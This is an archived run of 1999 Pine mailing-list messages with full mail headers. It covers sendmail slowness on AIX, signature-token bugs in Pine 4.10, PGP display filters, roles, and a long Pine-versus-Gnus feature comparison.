09:04:33 -0800 Received: from kens.com (kens.com [209.70.169.2]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA28339 for ; Tue, 23 Feb 1999 09:04:32 -0800 Received: from kens.com (kens.com [209.70.169.2]) by kens.com (8.9.2/8.9.2-mod-for-majordomo) with ESMTP id MAA09989 for ; Tue, 23 Feb 1999 12:04:34 -0500 (EST) Message-Id: Date: Tue, 23 Feb 1999 12:04:34 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ken Woods To: Pine Discussion Forum Subject: Re: store password In-Reply-To: <19990223163831.A3451@fireball.control-risks.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 23 Feb 1999, Robin S. Socha wrote: > Quoting Ken Woods (kwoods@kens.com): > > Don't be a luser. Why do you want them removed? >=20 > Because *my* software is capable of stripping them automatically. Given > that pine now supports automatic insertion of sigdashes, it is safe to > assume that the people on this list will use sigdashes. Therefore, > having two sets of them is, like, kinda redundant, n'est-=E7e pas? This is kind of a moot point, isn't it? Being as how they aren't there anymore. bah-bah-bah --=20 Ken Woods kwoods@kens.com From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 09:35:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA02807 for ; Tue, 23 Feb 1999 09:35:35 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA13744; Tue, 23 Feb 1999 09:35:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA16279; Tue, 23 Feb 1999 09:32:32 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA40756 for ; Tue, 23 Feb 1999 09:13:48 -0800 Received: from mtiwmhc05.worldnet.att.net (mtiwmhc05.worldnet.att.net [204.127.131.40]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA05782 for ; Tue, 23 Feb 1999 09:13:47 -0800 Received: from DAD ([12.72.32.120]) by mtiwmhc05.worldnet.att.net (InterMail v03.02.07 118 124) with SMTP id <19990223171343.GLWA5516@DAD> for ; Tue, 23 Feb 1999 17:13:43 +0000 Received: by DAD with Microsoft Mail id <01BE5F14.E5415000@DAD>; Tue, 23 Feb 1999 10:11:36 -0700 Message-Id: <01BE5F14.E5415000@DAD> Date: Tue, 23 Feb 1999 10:11:34 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Roger Sabin To: Pine Discussion Forum Subject: RE: AIX Slow Sendmail MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-To: "'Pine Mail List'" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN After we defined localhost in /etc/hosts and set smtp-server to localhost, sending mail is much faster. Thanks. Roger Sabin rasabin@worldnet.att.net -----Original Message----- From: Terry Gray [SMTP:gray@cac.washington.edu] Sent: Thursday, February 18, 1999 3:30 PM To: Roger Sabin Cc: Pine Discussion Forum Subject: RE: AIX Slow Sendmail If you set smtp-server to localhost, does that help/hurt? -teg On Thu, 18 Feb 1999, Roger Sabin wrote: > To answer your questions: > > AIX 4.3 > Using whatever version of sendmail was shipped > Pine 4.05 > Downloaded pine-bin.aix4.2, did not build our own copy of Pine > We do not have /etc/resolv.conf or /etc/netsvc.conf. We are only using > Pine internally for now. > > Any ideas? > > Roger Sabin > rasabin@worldnet.att.net > > -----Original Message----- > From: Shane Castle [SMTP:swcxt@co.boulder.co.us] > Sent: Tuesday, February 16, 1999 1:33 PM > To: Pine Discussion Forum > Subject: Re: AIX Slow Sendmail > > On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key): > > >I am helping a company setup Pine on an AIX RS6000 box. (Don't know > >the AIX version, but the box was purchased within the last year.) Pine > >appears to be sending messages, but it takes a looooong time to process > >the send. The screen shows "sending 0%" for a very long time. Is this > >correct? Can it be fixed? > > I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10, > sendmail 8.9.2, RS6000 7015-R50). You will have to answer these > questions: > > What release of AIX? > Is the sendmail the one shipped with AIX or is it locally built? > If locally built, what release is it? > What release of Pine? > Was Pine built correctly? (sometimes a matter of personal preference) > > The answer might lie in none of the above. Improper DNS configurations > have been known to cause slow MUA communications with sendmail. Check the > /etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the > correct information in them? > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 09:53:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA03936 for ; Tue, 23 Feb 1999 09:53:34 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA21701; Tue, 23 Feb 1999 09:53:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA21504; Tue, 23 Feb 1999 08:50:35 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA29314 for ; Tue, 23 Feb 1999 07:39:44 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA18661 for ; Tue, 23 Feb 1999 07:39:43 -0800 Received: from fireball.control-risks.de (port233.koeln.ndh.net [195.94.92.233]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id QAA16890 for ; Tue, 23 Feb 1999 16:39:39 +0100 (MET) Received: (from rss@localhost) by fireball.control-risks.de (8.8.7/8.8.7) id QAA03724 for pine-info@u.washington.edu; Tue, 23 Feb 1999 16:38:37 +0100 Message-Id: <19990223163831.A3451@fireball.control-risks.de> Date: Tue, 23 Feb 1999 16:38:31 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: Re: store password In-Reply-To: ; from Ken Woods on Tue, Feb 23, 1999 at 09:55:10AM -0500 References: <19990223115340.B226@fireball.control-risks.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Quoting Ken Woods (kwoods@kens.com): > On Tue, 23 Feb 1999, Robin S. Socha wrote: > > >c) (dear >list manager, please remove the sigdashes from the > >automatically generated tag line, prettyplease?) > > Don't be a luser. Why do you want them removed? Because *my* software is capable of stripping them automatically. Given that pine now supports automatic insertion of sigdashes, it is safe to assume that the people on this list will use sigdashes. Therefore, having two sets of them is, like, kinda redundant, n'est-çe pas? -- Robin S. Socha From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 10:27:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA04528 for ; Tue, 23 Feb 1999 10:27:02 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA15226; Tue, 23 Feb 1999 10:27:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA05799; Tue, 23 Feb 1999 10:24:31 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA47006 for ; Tue, 23 Feb 1999 10:21:29 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA01531 for ; Tue, 23 Feb 1999 10:21:28 -0800 Received: from aleph.ii.com ("port 1070"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J831XOGHL60013Y4@mail1.new-york.net> for pine-info@u.washington.edu; Tue, 23 Feb 1999 13:21:16 -0500 (EDT) Message-Id: Date: Tue, 23 Feb 1999 13:20:31 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On 23 Feb 1999, Michael Talbot-Wilson wrote: > Nancy, could you give a list of the features and a description of > the power of Pine in your opinon? I have some listed at: http://www.ii.com/internet/messaging/pine/ After reading what I've got listed at the above URL, I think the best way to get a sense of the power and flexibility of Pine is to go to the Main>Setup>Config screen (especially in v4.10) and read the help on each of the features and variables listed there. If you have suggestions for Pine "key features" that I should add to my list, please let me know. And if there are key features that you think Pine is lacking, please let me know those too. To me, a key feature that Pine doesn't have is that it doesn't do true threading and it can't collapse/expand threads. I have lots of minor wishes, like the one I posted yesterday about being able to easily forward a message as an attachment (i.e., without first saving/exporting it). But I'm confident (or at least hopeful) that the Pine developers will eventually get that kind of feature in there. If I knew I'd never have to do mail/news in a character (rather than graphical) environment again, I'd seriously consider changing to another feature-rich, customizable, standards-based (IMAP, MIME, LDAP, etc.), open source mailer/newsreader that took advantage of the graphical abilities of the system but without slowing me down. Unfortunately, for the near future, I'll probably still be doing a lot of telnetting to Unix boxes and so I'm sticking with Pine, which works in both character and graphical environments. I think the main reason that I'm so enthusiastic about Pine is that I'm able to get all the Unix-like power and flexibility on MS Windows. The day that Adobe ships a Linux version of FrameMaker, I think I'll never have to use MS Windows again and the world of powerful customizable mailers and newsreaders will really open up for me. And I'll still probably think of Pine as being a serious contender (assuming it keeps evolving). -- ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 10:53:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA05390 for ; Tue, 23 Feb 1999 10:53:02 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA15989; Tue, 23 Feb 1999 10:52:59 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA07968; Tue, 23 Feb 1999 10:50:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA36494 for ; Tue, 23 Feb 1999 10:47:45 -0800 Received: from smtp.gospelcom.net (smtp.gospelcom.net [204.253.132.6]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id KAA13795 for ; Tue, 23 Feb 1999 10:47:44 -0800 Received: (qmail 8864 invoked from network); 23 Feb 1999 13:47:42 -0500 Received: from jabbok.gospelcom.net (HELO tarsus.gf.gospelcom.net) (204.253.132.4) by smtp.gospelcom.net with SMTP; 23 Feb 1999 13:47:42 -0500 Message-Id: Date: Tue, 23 Feb 1999 13:39:28 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Topher To: Pine Discussion Forum Subject: Roles In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Sender: topher@tarsus X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Earlier I mentioned a problem with roles, but I've figured it out and thought I'd let folks know since no-one answered. I was putting the search string in more than one place in the role (putting topher in both the to: field and the cc: field) thinking it would look for either-or. It wasn't it was requiring that *both* be there, and therefore never working. So what I did is make one role that looked in the to: field and did some actions, and then one that looked in the cc: field and told it to use the actions from the first one and it works fine. For the developers, it would be nice if the search strings were either-or, rather than requiring both, so that we could have one role that searched the entire header for a certain string. Topher Tech Support topher@gospelcom.net Gospel Communications Network -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 12:20:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA07410 for ; Tue, 23 Feb 1999 12:20:02 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA25927; Tue, 23 Feb 1999 12:20:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id MAA28937; Tue, 23 Feb 1999 12:16:01 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA40032 for ; Tue, 23 Feb 1999 12:12:24 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA21459 for ; Tue, 23 Feb 1999 12:12:22 -0800 Received: from radioactive.socha.net (root@port201.koeln.ndh.net [195.94.92.201]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id VAA01568; Tue, 23 Feb 1999 21:12:16 +0100 (MET) Received: (from robin@localhost) by radioactive.socha.net (8.8.7/8.8.7) id VAA17842; Tue, 23 Feb 1999 21:09:09 +0100 Message-Id: Date: 23 Feb 1999 21:09:09 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: Nancy McGough's message of "Tue, 23 Feb 1999 13:20:31 -0500 (EST)" References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Nancy McGough X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN * Nancy McGough writes: > On 23 Feb 1999, Michael Talbot-Wilson started questing for power: >> Nancy, could you give a list of the features and a description of the >> power of Pine in your opinon? > I have some listed at: If > you have suggestions for Pine "key features" that I should add to my > list, please let me know. Timothy will probably kill me for Yet Another Offtopic Mail, but, hey!, we used to do this stuff in the Ole Days, too, so here goes... --==| Pine vs. Gnus |==-- * use its simple clean interface to quickly process lots of messages using efficient keystroke commands. Context sensitive keystrokes and mouse menues depending on which buffer you're in (group, summary, article...) = Point Gnus * use standard windows features like clicking, double-clicking, drop-down menus, pop-up menus, and dialog boxes in the graphical versions of Pine Consistent interface under all OSes. = Point Gnus * access different mailbox formats, including mbox ("Berkeley mail" format), Tenex, MTX, MH, MMDF, Carmel, and Netnews formats All those and more. Also, support for SOUP, virtual and kibozed groups (mixing mail and news). = Point Gnus * store your folders and address books on servers and seamlessly access them from any of your machines without worrying about your systems getting out of sync (this is one of the beauties of IMAP) IMAP support in Pine is second to none. Gnus does have IMAP support, but it's still under development. = Point Pine * easily launch a URL that's in a message in your favorite browser Yup, but different browsers are just one keystroke away. Also, Emacs sports a built-in browser (W3). = Point Gnus * use the same user interface for news and mail, and you can simultaneously mail and post a message News support in pine *sucks*. AFAICS, it doesn't support anything worthwhile (spoiler chars, supersedes, cancels). Courtesy copies are *extremely* annoying and IIRC, pine doesn't even mark them as such. As for Gnus, I wouldn't even know where to start. It's the most feature-ridden newsreader there is. = Point Gnus * perform operations on groups of messages using Pine's aggregate command (;) ... which doesn't support regexps. = Point Gnus * flag messages as new, answered, deleted, or important ... and mark their respective folders, including mail notification et al like this: * 4: nnml+robin:Pine-ML Last read on 23/02/99 ^ ^ ^^^^^^^^^^ ^^^^^^^ 1 2 3 4 1: ticked articles in group 2: how many articles 3: backend (here: local mail backend) 4: name of group (arbitrary) = Point Gnus * create macros using Pine's ``-I'' (initial keystrokes) command-line argument No comment. We all know what Emacs stands for. = Point Gnus * plug in your favorite editor, encryption programs, and other programs that help you process your messages Speaking of encryption: it's a political thing, so pine will not have PGP support, but can you tell me how you will get PGP 6.0i to work under Windos? = Point Gnus * pipe a message, or group of messages, through an external program Under Windos? Nope. = Point Gnus * search through a message, group of messages, or group of folders I must be doing something horribly wrong here, but it just doesn't work for me the way I want it. I do, however, have a neat little plug-in that uses igrep. And a cute GUI for the searches. Including regexps. = Point Gnus * filter your messages as they arrive by using an external program (such as procmail) on your IMAP server. Well, that's kindalike nothing to do with pine, does it? Apart from the procmail stuff, Gnus offers some very neat "fancy splitting", though. = Point Gnus * use roles to easily switch personas (available in Pine 4.10 and later) Yup. Finally. = No Point --==| Gnus 12 : Pine 1 |==-- > And if there are key features that you think Pine is lacking, please let > me know those too. To me, a key feature that Pine doesn't have is that it > doesn't do true threading and it can't collapse/expand threads. Oh dear, where to start... * scoring and killfiling with a keystroke; one could use procmail, but C-k k is simpler. * automatically cutting signatures in replies * colour; check Sven's mutt setup and you'll see what I mean. Neat. * a more consistent UI. "e", "q", "C-c" - nope. * more stuff to customize using an easy language - if I don't find a solution, I'll write one in Lisp. Simple. And so on... But then again, I'm comparing a 80MB Lisp engine to an excellent stand-alone MUA with a sucky editor. Not fair. > If I knew I'd never have to do mail/news in a character (rather than > graphical) environment again, I'd seriously consider changing to Gnus. Incidentally, XEmacs runs under Un*x, Windos and a lot of other OSes, so - well... > I think the main reason that I'm so enthusiastic about Pine is that I'm > able to get all the Unix-like power and flexibility on MS Windows. No you don't. You still don't have the Un*x environment. No bash. No vim. Nothing. Unless you install all that, too. Ummm... Yeah. Amen. If you're still reading this, you need to get even more of a life than me, I guess. That's all folks... -- Robin S. Socha From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 01:29:00 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA18676 for ; Wed, 24 Feb 1999 01:28:58 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA08572; Wed, 24 Feb 1999 01:28:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id BAA19674; Wed, 24 Feb 1999 01:26:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA10208 for ; Wed, 24 Feb 1999 01:23:57 -0800 Received: from fly.cc.fer.hr (unreal@fly.cc.fer.hr [161.53.70.130]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA02205 for ; Wed, 24 Feb 1999 01:23:55 -0800 Received: from localhost (unreal@localhost) by fly.cc.fer.hr (8.9.0/8.9.0) with ESMTP id KAA23291 for ; Wed, 24 Feb 1999 10:23:51 +0100 (MET) Message-Id: Date: Wed, 24 Feb 1999 10:23:50 +0100 (MET) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Goran UnreaL Krajnovic To: Pine Discussion Forum Subject: Problems with signature and tokens MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Url: http://fly.cc.fer.hr/~unreal/index.html X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I recently compiled and installed pine 4.10 (UNIX, Solaris 2.6, gcc compiled) and I am having problems with the new feature of tokens in signature files. This: _ _ ___ ___ ___ ___ ___ unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/ Feel the Art. is my original signature, and has been for a long time, and the ascii art has worked perfectly in older versions of pine. However, v4.10 thinks that there are tokens inside the signature, and the ascii ends up looking like this: _ _ ___ ___ ___ ___ ___ unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ http://fly.cc.fer.hr/~unreal/ ___/\|__/_)\/___/_|_/___/ Feel the Art. I have searched the help and the mailing list, and there are no references to this bug (or feature). I haven't managed to find an option to turn off the token expansion, and experimenting with escaping backslashes yielded no results. The only way to get my normal signature back is to first delete it, and then use the ^R (Read file) command in composer to insert the .signature file at the end of the mail. Any help, patches, similar problems or advice would be appreciated. I have also tried the precompiled solaris version (9 MB executable!) and it behaves the same way. PS. If you can't see the ascii art properly in your mailer, set your font to a non-proportional one, such as Courier, System or Fixed. -- _ _ ___ ___ ___ ___ ___ unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/ Feel the Art. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 05:22:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA26584 for ; Wed, 24 Feb 1999 05:22:23 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA12399; Wed, 24 Feb 1999 05:22:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id FAA05988; Wed, 24 Feb 1999 05:21:04 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id FAA28048 for ; Wed, 24 Feb 1999 05:18:18 -0800 Received: from gabriel.ul.ie (gabriel.ul.ie [136.201.1.101]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA02144 for ; Wed, 24 Feb 1999 05:18:16 -0800 Received: from student.ul.ie (tomnewe.staff5.ul.ie [136.201.144.170]) by gabriel.ul.ie with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id FQL92HDG; Wed, 24 Feb 1999 13:17:56 -0000 Message-Id: <36D3FC2E.F7C5E5C8@student.ul.ie> Date: Wed, 24 Feb 1999 13:18:38 +0000 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nicola Lenihan <9514139@student.ul.ie> To: Pine Discussion Forum Subject: display filters in Pine MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: root@mxu3.u.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello everyone, I am looking for a way to include two different display filters in the setup menu. Is it possible to add the two of them. At the moment I have: "-----BEGIN PGP MESSAGE-----" /usr/local/bin/decrypt _TMPFILE_ I want to add to this : "-----BEGIN PGP SIGNATURE-----" /usr/local/bin/decrypt1 _TMPFILE_ Can I just put an || sign between the two of them. Thanks in advance for an replies. Nicola Lenihan -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 08:20:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA28155 for ; Wed, 24 Feb 1999 08:20:33 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA15408; Wed, 24 Feb 1999 08:20:30 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA16085; Wed, 24 Feb 1999 08:17:10 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id IAA31182 for ; Wed, 24 Feb 1999 08:11:46 -0800 Received: from sass165.sandia.gov (mailgate.sandia.gov [132.175.109.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA24788 for ; Wed, 24 Feb 1999 08:11:45 -0800 Received: from sasg829.sandia.gov (sasg829.sandia.gov [134.253.226.190]) by sass165.sandia.gov (8.9.1a/8.9.1a) with ESMTP id JAA15007 for ; Wed, 24 Feb 1999 09:11:25 -0700 (MST) Message-Id: Date: Wed, 24 Feb 1999 09:06:06 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Daniel Sands To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > >> Nancy, could you give a list of the features and a description of the > >> power of Pine in your opinon? > > > I have some listed at: If > > you have suggestions for Pine "key features" that I should add to my > > list, please let me know. > > Timothy will probably kill me for Yet Another Offtopic Mail, but, hey!, we > used to do this stuff in the Ole Days, too, so here goes... > [Numerous GNUS features] It is also worth mentioning that Pine is not intended to be a do-all, complete solution to all your mail needs. As the documentation says, it is intended to be a lightweight program with an easy-to-use interface and a few advanced features. It does this very well IMHO. > Gnus. Incidentally, XEmacs runs under Un*x, Windos and a lot of other OSes, > so - well... Uhhh, beg to differ... Windos is not an OPERATING system. :-P From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 08:28:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA28209 for ; Wed, 24 Feb 1999 08:27:59 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA15625; Wed, 24 Feb 1999 08:27:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA17001; Wed, 24 Feb 1999 08:24:57 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id IAA28216 for ; Wed, 24 Feb 1999 08:18:24 -0800 Received: from sass165.sandia.gov (mailgate.sandia.gov [132.175.109.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA19896 for ; Wed, 24 Feb 1999 08:18:24 -0800 Received: from sasg829.sandia.gov (sasg829.sandia.gov [134.253.226.190]) by sass165.sandia.gov (8.9.1a/8.9.1a) with ESMTP id JAA15977 for ; Wed, 24 